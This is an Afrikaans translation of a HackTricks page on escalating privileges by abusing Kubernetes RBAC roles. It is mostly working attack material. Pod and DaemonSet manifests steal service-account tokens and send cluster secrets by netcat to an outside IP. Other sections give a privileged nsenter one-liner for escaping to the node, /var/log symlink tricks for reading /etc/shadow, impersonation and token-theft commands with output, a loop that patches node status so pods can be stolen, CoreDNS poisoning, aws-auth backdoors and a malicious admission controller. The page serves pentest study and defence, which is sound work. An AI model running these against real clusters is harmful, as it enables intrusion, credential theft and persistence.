Misbruik van Rolle/ClusterRolle in Kubernetes

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Hier kan jy ’n paar potensieel gevaarlike Rolle en ClusterRolle konfigurasies vind.
Onthou dat jy al die ondersteunde hulpbronne kan kry met kubectl api-resources

Privilegie Eskalasie

Verwys na die kuns om toegang te verkry tot ’n ander prinsiep binne die kluster met verskillende voorregte (binne die kubernetes kluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies 4 hoof tegnieke om voorregte te eskaleer:

• In staat wees om te verpersoonlik ander gebruikers/groepe/SAs met beter voorregte binne die kubernetes kluster of na eksterne wolke
• In staat wees om te skep/patch/exec pods waar jy SAs met beter voorregte binne die kubernetes kluster of na eksterne wolke kan vind of aanheg
• In staat wees om geheime te lees aangesien die SAs tokens as geheime gestoor word
• In staat wees om te ontsnap na die node vanaf ’n houer, waar jy al die geheime van die houers wat in die node loop, die akrediteer van die node, en die toestemmings van die node binne die wolk waarin dit loop (indien enige)
• ’n Vyfde tegniek wat ’n vermelding werd is, is die vermoë om poort-voorwaarts in ’n pod te loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod.

Toegang tot Enige Hulpbron of Werkwoord (Wildcard)

Die wildcard (*) gee toestemming oor enige hulpbron met enige werkwoord. Dit word deur admins gebruik. Binne ’n ClusterRole beteken dit dat ’n aanvaller enige namespace in die kluster kan misbruik

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Toegang tot Enige Hulpbron met ’n spesifieke werkwoord

In RBAC bied sekere toestemmings beduidende risiko’s:

1. create: Gee die vermoë om enige klusterhulpbron te skep, wat ’n risiko vir privilige-eskalasie inhou.
2. list: Laat toe om alle hulpbronne te lys, wat moontlik sensitiewe data kan lek.
3. get: Laat toegang tot geheime van diensrekeninge toe, wat ’n sekuriteitsbedreiging inhou.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Skep - Steel Token

’n Aanvaller met die regte om ’n pod te skep, kan ’n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die bevoegdhede te verhoog.

Voorbeeld van ’n pod wat die token van die bootstrap-signer diensrekening sal steel en dit na die aanvaller sal stuur:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Skep & Ontsnapping

Die volgende dui al die voorregte aan wat ’n houer kan hê:

• Bevoorregte toegang (deaktiveer beskermings en stel vermoëns in)
• Deaktiveer namespaces hostIPC en hostPid wat kan help om voorregte te verhoog
• Deaktiveer hostNetwork namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke te verkry
• Monteer gashere / binne die houer

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Skep die pod met:

kubectl --token $token create -f mount_root.yaml

Een-liner van hierdie tweet en met ’n paar toevoegings:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Stealth

Jy wil waarskynlik stealthier wees, in die volgende bladsye kan jy sien wat jy sou kon toegang hê tot as jy ’n pod skep wat slegs sommige van die genoemde voorregte in die vorige sjabloon inskakel:

• Privileged + hostPID
• Privileged only
• hostPath
• hostPID
• hostNetwork
• hostIPC

Jy kan ’n voorbeeld vind van hoe om die vorige voorregte pod konfigurasies te skep/te misbruik in https://github.com/BishopFox/badPods

Pod Create - Move to cloud

As jy ’n pod (en opsioneel ’n service account) kan skep, kan jy dalk voorregte in die wolkomgewing verkry deur wolkrroles aan ’n pod of ’n service account toe te ken en dit dan te benader.
Boonop, as jy ’n pod met die host netwerk naamruimte kan skep, kan jy die IAM rol van die node instansie steel.

Vir meer inligting, kyk:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Dit is moontlik om hierdie toestemmings te misbruik om ’n nuwe pod te skep en voorregte te verkry soos in die vorige voorbeeld.

Die volgende yaml skep ’n daemonset en eksfiltreer die token van die SA binne die pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec is ’n hulpbron in kubernetes wat gebruik word om opdragte in ’n skulp binne ’n pod te loop. Dit maak dit moontlik om opdragte binne die houers te loop of ’n skulp binne te kry.

Daarom is dit moontlik om binne ’n pod te kom en die token van die SA te steel, of om ’n bevoorregte pod binne te gaan, na die node te ontsnap, en al die tokens van die pods in die node te steel en (ab)gebruik te maak van die node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Standaard word die opdrag in die eerste houer van die pod uitgevoer. Kry alle die pods in ’n houer met kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' en dui dan die houer aan waar jy dit wil uitvoer met kubectl exec -it <pod_name> -c <container_name> -- sh

As dit ’n distroless houer is, kan jy probeer om shell builtins te gebruik om inligting van die houers te kry of jou eie gereedskap soos ’n busybox op te laai met: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Hierdie toestemming laat toe om een plaaslike poort na een poort in die gespesifiseerde pod te stuur. Dit is bedoel om dit maklik te maak om toepassings wat binne ’n pod loop te debugeer, maar ’n aanvaller kan dit misbruik om toegang te verkry tot interessante (soos DB’s) of kwesbare toepassings (webs?) binne ’n pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Soos aangegee in hierdie navorsing, as jy toegang het tot of ’n pod kan skep met die hosts /var/log/ gids gemonteer daarop, kan jy uit die houer ontsnap.
Dit is basies omdat wanneer die Kube-API probeer om die logs van ’n houer te kry (met kubectl logs <pod>), dit die 0.log lêer van die pod aanvra deur die /logs/ eindpunt van die Kubelet diens.
Die Kubelet diens stel die /logs/ eindpunt bloot wat basies net die /var/log lêerstelsel van die houer blootstel.

Daarom kan ’n aanvaller met toegang om in die /var/log/ gids van die houer te skryf, hierdie gedrag op 2 maniere misbruik:

• Om die 0.log lêer van sy houer (gewoonlik geleë in /var/logs/pods/namespace_pod_uid/container/0.log) te wysig om ’n symlink wat na /etc/shadow wys te wees, byvoorbeeld. Dan sal jy in staat wees om die hosts skadu lêer te exfiltreer deur:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

• As die aanvaller enige hoofpersoon met die regte om nodes/log te lees beheer, kan hy eenvoudig ’n symlink in /host-mounted/var/log/sym na / skep en wanneer hy toegang verkry tot https://<gateway>:10250/logs/sym/ sal hy die gashere se wortel lêersisteem lys (die verandering van die symlink kan toegang tot lêers bied).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

’n Laboratorium en geoutomatiseerde eksploit kan gevind word in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Om die readOnly beskerming te omseil

As jy gelukkig genoeg is en die hoogs bevoorregte vermoë CAP_SYS_ADMIN beskikbaar is, kan jy net die gids weer as rw monteer:

mount -o rw,remount /hostlogs/

Om hostPath readOnly beskerming te omseil

Soos vermeld in hierdie navorsing is dit moontlik om die beskerming te omseil:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van ’n hostPath-mount te gebruik, ’n PersistentVolume en ’n PersistentVolumeClaim te gebruik om ’n gasheer se gids in die houer met skryftoegang te monteer:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonering van bevoorregte rekeninge

Met ’n gebruikersimpersonering voorreg, kan ’n aanvaller ’n bevoorregte rekening impersoner.

Gebruik eenvoudig die parameter --as=<username> in die kubectl opdrag om ’n gebruiker te impersoner, of --as-group=<group> om ’n groep te impersoner:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Of gebruik die REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lys van Geheimen

Die toestemming om geheime te lys kan ’n aanvaller in staat stel om werklik die geheime te lees deur toegang te verkry tot die REST API eindpunt:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Skep en Lees Geheimen

Daar is ’n spesiale soort Kubernetes geheim van tipe kubernetes.io/service-account-token wat serviceaccount tokens stoor. As jy toestemmings het om geheimen te skep en te lees, en jy weet ook die naam van die serviceaccount, kan jy ’n geheim soos volg skep en dan die slagoffer se serviceaccount token daaruit steel:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Voorbeeld van uitbuiting:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Let daarop dat as jy toegelaat word om sekrete in ’n sekere naamruimte te skep en te lees, die slagoffer diensrekening ook in daardie selfde naamruimte moet wees.

Lees ’n geheim – brute-forcing token ID’s

Terwyl ’n aanvaller in besit van ’n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër lys van sekrete voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met ’n geheim. Hierdie sekrete het ’n naamstruktuur: ’n statiese voorvoegsel gevolg deur ’n ewekansige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die source code.

Die token word gegenereer uit ’n beperkte 27-karakter stel (bcdfghjklmnpqrstvwxz2456789), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan ’n aanvaller haalbaar ’n brute-force aanval uitvoer om die token binne ’n paar uur te deduseer, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.

EncrpytionConfiguration in duidelike teks

Dit is moontlik om duidelike teks sleutels te vind om data in rus in hierdie tipe objek te enkripteer soos:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Sertifikaat Ondertekening Versoeke

As jy die werkwoorde create in die hulpbron certificatesigningrequests (of ten minste in certificatesigningrequests/nodeClient) het. Jy kan create ’n nuwe CeSR van ’n nuwe node.

Volgens die dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur, so in daardie geval het jy nie ekstra toestemmings nodig nie. As nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken opdatering in certificatesigningrequests/approval en approve in signers met resourceName <signerNameDomain>/<signerNamePath> of <signerNameDomain>/*

’n voorbeeld van ’n rol met al die vereiste toestemmings is:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

So, met die nuwe node CSR goedgekeur, kan jy die spesiale toestemmings van nodes misbruik om geheime te steel en privileges te verhoog.

In hierdie pos en hierdie een is die GKE K8s TLS Bootstrap konfigurasie geconfigureer met outomatiese ondertekening en dit word misbruik om geloofsbriewe van ’n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.
As jy die genoemde privileges het, kan jy dieselfde ding doen. Let daarop dat die eerste voorbeeld die fout om ’n nuwe node te verhoed om geheime binne houers te benader, omseil omdat ’n node slegs toegang kan hê tot die geheime van houers wat op dit gemonteer is.

Die manier om dit te omseil, is net om ’n node-geloofsbrief te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is (maar kyk net hoe om dit in die eerste pos te doen):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Beginsels wat configmaps in die kube-system naamruimte op EKS (moet in AWS) klusters kan wysig, kan cluster admin voorregte verkry deur die aws-auth configmap te oorskryf.
Die werkwoorde wat benodig word, is update en patch, of create as die configmap nie geskep is nie:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Jy kan aws-auth gebruik vir volharding om toegang te gee aan gebruikers van ander rekeninge.

egter, aws --profile other_account eks update-kubeconfig --name <cluster-name> werk nie vanaf ’n ander rekening nie. Maar eintlik werk aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing as jy die ARN van die kluster in plaas van net die naam sit.
Om kubectl te laat werk, maak net seker om die slagoffers se kubeconfig te konfigureer en voeg in die aws exec args --profile other_account_role by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.

CoreDNS konfigurasie kaart

As jy die regte het om die coredns konfigurasiekaart in die kube-system naamruimte te wysig, kan jy die adres domeine wat opgelos sal word, wysig om MitM-aanvalle uit te voer om sensitiewe inligting te steel of kwaadwillige inhoud in te voeg.

Die werkwoorde wat benodig word, is update en patch oor die coredns konfigurasiekaart (of al die konfigurasiekaarte).

’n Gereelde coredns-lêer bevat iets soos hierdie:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

’n Aanvaller kan dit aflaai deur kubectl get configmap coredns -n kube-system -o yaml te loop, dit te wysig deur iets soos rewrite name victim.com attacker.com by te voeg sodat wanneer victim.com toegang verkry word, dit eintlik attacker.com is wat toegang verkry gaan word. En dan dit toe te pas deur kubectl apply -f poison_dns.yaml te loop.

’n Ander opsie is om net die lêer te wysig deur kubectl edit configmap coredns -n kube-system te loop en veranderinge aan te bring.

Eskalasie in GKE

Daar is 2 maniere om K8s toestemmings aan GCP prinsipes toe te ken. In enige geval moet die prinsipe ook die toestemming container.clusters.get hê om in staat te wees om geloofsbriewe te versamel om toegang tot die kluster te verkry, of jy sal jou eie kubectl konfigurasielêer moet genereer (volg die volgende skakel).

Warning

Wanneer daar met die K8s API-eindpunt gepraat word, sal die GCP-authentikasietoken gestuur word. Dan sal GCP, deur die K8s API-eindpunt, eers kontroleer of die prinsipe (per e-pos) enige toegang binne die kluster het, dan sal dit kontroleer of dit enige toegang via GCP IAM het.
As enige van daardie waar is, sal daar geantwoord word. As nie ’n fout wat voorstel om toestemmings via GCP IAM te gee, sal gegee word.

Dan is die eerste metode om GCP IAM te gebruik, die K8s toestemmings het hul gelykwaardige GCP IAM-toestemmings, en as die prinsipe dit het, sal dit in staat wees om dit te gebruik.

GCP - Container Privesc

Die tweede metode is om K8s toestemmings binne die kluster toe te ken deur die gebruiker te identifiseer deur sy e-pos (GCP-diensrekeninge ingesluit).

Skep diensrekeningstoken

Prinsipes wat TokenRequests (serviceaccounts/token) kan skep wanneer daar met die K8s API-eindpunt gepraat word SAs (inligting van hier).

ephemeralcontainers

Prinsipes wat update of patch pods/ephemeralcontainers kan verkry, kan kode-uitvoering op ander pods verkry, en potensieel uitbreek na hul node deur ’n ephemeral container met ’n bevoorregte securityContext by te voeg.

ValidatingWebhookConfigurations of MutatingWebhookConfigurations

Prinsipes met enige van die werkwoorde create, update of patch oor validatingwebhookconfigurations of mutatingwebhookconfigurations mag in staat wees om een van sulke webhookconfigurations te skep om in staat te wees om toestemmings te eskaleer.

Vir ’n mutatingwebhookconfigurations voorbeeld kyk hierdie afdeling van hierdie pos.

Eskaleer

Soos jy in die volgende afdeling kan lees: Ingeboude Bevoorregte Eskalasie Voorkoming, kan ’n prinsipe nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die werkwoord escalate of * oor roles of clusterroles en die onderskeie bindingsopsies het.
Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skepp.

Nodes-proxy

Prinsipes met toegang tot die nodes/proxy subbron kan kode op pods uitvoer via die Kubelet API (volgens hierdie). Meer inligting oor Kubelet-authentisering op hierdie bladsy:

Kubelet Authentication & Authorization

Jy het ’n voorbeeld van hoe om RCE te verkry deur gemagtig met ’n Kubelet API te praat hier.

Verwyder pods + ongeskeduleerde nodes

Prinsipes wat pods kan verwyder (delete werkwoord oor pods hulpbron), of pods kan verplaas (create werkwoord oor pods/eviction hulpbron), of podstatus kan verander (toegang tot pods/status) en kan ander nodes ongeskeduleer maak (toegang tot nodes/status) of nodes kan verwyder (delete werkwoord oor nodes hulpbron) en het beheer oor ’n pod, kan pods van ander nodes steel sodat hulle in die gekompromitteerde node uitgevoer word en die aanvaller kan die tokens van daardie pods steel.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Dienste status (CVE-2020-8554)

Beginsels wat modifiseer services/status kan die status.loadBalancer.ingress.ip veld stel om die onopgeloste CVE-2020-8554 te benut en MiTM-aanvalle teen die kluster te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens hierdie).

Nodes en Pods status

Beginsels met update of patch toestemmings oor nodes/status of pods/status, kan etikette modifiseer om skeduleringsbeperkings te beïnvloed.

Ingeboude Privilege Escalation Preventie

Kubernetes het ’n ingeboude meganisme om privilege escalasie te voorkom.

Hierdie stelsel verseker dat gebruikers nie hul voorregte kan verhoog deur rolle of rolbindings te modifiseer. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat ’n beskerming bied selfs wanneer die RBAC-outeur inaktief is.

Die reël stipuleer dat ’n gebruiker slegs ’n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of dit kluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of kluster-wyd) vir Roles.

Warning

Daar is ’n uitsondering op die vorige reël. As ’n beginsel die werkwoord escalate oor roles of clusterroles het, kan hy die voorregte van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê.

Kry & Patch RoleBindings/ClusterRoleBindings

Caution

Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie ’n rolebinding skep/modifiseer om jouself of ’n ander SA sekere voorregte te gee as jy dit nie reeds het nie.

Die voorreg om Rolebindings te skep, laat ’n gebruiker toe om rolle aan ’n diensrekening te bind. Hierdie voorreg kan potensieel lei tot privilege escalasie omdat dit die gebruiker toelaat om admin voorregte aan ’n gecompromitteerde diensrekening te bind.

Ander Aanvalle

Sidecar proxy app

Standaard is daar geen versleuteling in die kommunikasie tussen pods nie. Wederkerige verifikasie, twee-weg, pod na pod.

Skep ’n sidecar proxy app

’n Sidecar houer bestaan net uit die toevoeging van ’n tweede (of meer) houer binne ’n pod.

Byvoorbeeld, die volgende is deel van die konfigurasie van ’n pod met 2 houers:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Byvoorbeeld, om ’n bestaande pod met ’n nuwe container te backdoor, kan jy eenvoudig ’n nuwe container in die spesifikasie voeg. Let daarop dat jy meer toestemmings aan die tweede container kan gee wat die eerste nie sal hê nie.

Meer inligting by: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Kwaadwillige Toelatingsbeheerder

’n Toelatingsbeheerder onderbreek versoeke na die Kubernetes API-bediener voordat die volharding van die objek, maar nadat die versoek geverifieer en gemagtig is.

As ’n aanvaller op een of ander manier daarin slaag om ’n Mutasie Toelatingsbeheerder te inspuit, sal hy in staat wees om reeds geverifieerde versoeke te wysig. Dit kan potensieel privesc moontlik maak, en meer gewoonlik in die kluster volhard.

Voorbeeld van https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Kontroleer die status om te sien of dit gereed is:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Dan ontplooi ’n nuwe pod:

kubectl run nginx --image nginx
kubectl get po -w

Wanneer jy die ErrImagePull fout kan sien, kontroleer die beeldnaam met een van die navrae:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Soos wat jy in die bogenoemde beeld kan sien, het ons probeer om die beeld nginx te laat loop, maar die finale uitgevoerde beeld is rewanthtammana/malicious-image. Wat het net gebeur!!?

Tegniese Aspekte

Die ./deploy.sh skrip stel ’n muterende webhook toelatingsbeheerder in, wat versoeke na die Kubernetes API wysig soos gespesifiseer in sy konfigurasielyne, wat die waargenome uitkomste beïnvloed:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Die bogenoemde snit vervang die eerste houerbeeld in elke pod met rewanthtammana/malicious-image.

OPA Gatekeeper omseiling

Kubernetes OPA Gatekeeper bypass

Beste Praktyke

